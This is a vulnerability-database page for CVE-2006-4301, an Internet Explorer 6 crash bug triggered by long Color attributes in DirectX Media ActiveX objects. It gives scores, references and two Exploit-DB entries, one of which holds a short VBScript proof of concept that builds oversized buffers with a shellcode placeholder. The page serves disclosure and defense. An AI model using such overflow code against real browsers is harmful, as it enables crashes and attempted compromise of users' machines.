CVE-2006-4301
published 2006-08-23CVE-2006-4301: Microsoft Internet Explorer 6.0 SP1 allows remote attackers to cause a denial of service (crash) via a long Color attribute in multiple DirectX Media Image…
PriorityP422medium5CVSS 2.0
AVNACLAuNCNINAP
EXPLOIT
EPSS
38.96%
98.4th percentile
Microsoft Internet Explorer 6.0 SP1 allows remote attackers to cause a denial of service (crash) via a long Color attribute in multiple DirectX Media Image DirectX Transforms ActiveX COM Objects from (a) dxtmsft.dll and (b) dxtmsft3.dll, including (1) DXImageTransform.Microsoft.MaskFilter.1, (2) DXImageTransform.Microsoft.Chroma.1, and (3) DX3DTransform.Microsoft.Shapes.1.
Affected
1 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| microsoft | ie | — | — |
CVEs like this are exactly what “Exploited This Week” covers.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
No detection rules found.
Exploit-DB
Microsoft Internet Explorer 6 - DirectX Media Remote Overflow Denial of Service
exploitdb·2007-07-31
CVE-2006-4301 Microsoft Internet Explorer 6 - DirectX Media Remote Overflow Denial of Service
Microsoft Internet Explorer 6 - DirectX Media Remote Overflow Denial of Service
---
Sub jojo
buff = String(999999, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAaA")
get_EDX = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbbbbbbbbbbbbcccccccccccccddddddddddeee"
buff1 = String(999999, "BBBBBBBBBBBBBBBBBBBBBBBBBBBBbb")
egg = buff + get_EDX + buff1 + scode
Chroma.Color = egg
End Sub
# milw0rm.com [2007-07-31]
Exploit-DB
Microsoft Internet Explorer 6 - Multiple COM Object Color Property Denial of Service Vulnerabilities
exploitdb·2006-08-21
CVE-2006-4301 Microsoft Internet Explorer 6 - Multiple COM Object Color Property Denial of Service Vulnerabilities
Microsoft Internet Explorer 6 - Multiple COM Object Color Property Denial of Service Vulnerabilities
---
source: https://www.securityfocus.com/bid/19640/info
Microsoft Internet Explorer is prone to multiple denial-of-service vulnerabilities that occur when instantiating COM objects.
The vulnerabilities arise because of the way Internet Explorer tries to instantiate certain COM objects as ActiveX controls, resulting in denial-of-service conditions. Remote code execution may be possible, but this has not been confirmed.
This BID may be related to the issues described in BID 14511 (Microsoft Internet Explorer COM Object Instantiation Buffer Overflow Vulnerability) and BID 15061 Microsoft Internet Explorer COM Object Instantiation Variant Vulnerability). However, these issues affect a dif
No writeups or analysis indexed.
http://securityreason.com/securityalert/1439http://www.osvdb.org/29524http://www.osvdb.org/29525http://www.securityfocus.com/archive/1/443907/100/0/threadedhttp://www.securityfocus.com/bid/19640http://xsec.org/index.php?module=releases&act=view&type=1&id=17https://exchange.xforce.ibmcloud.com/vulnerabilities/28516https://www.exploit-db.com/exploits/4251http://securityreason.com/securityalert/1439http://www.osvdb.org/29524http://www.osvdb.org/29525http://www.securityfocus.com/archive/1/443907/100/0/threadedhttp://www.securityfocus.com/bid/19640http://xsec.org/index.php?module=releases&act=view&type=1&id=17https://exchange.xforce.ibmcloud.com/vulnerabilities/28516https://www.exploit-db.com/exploits/4251
2006-08-23
Published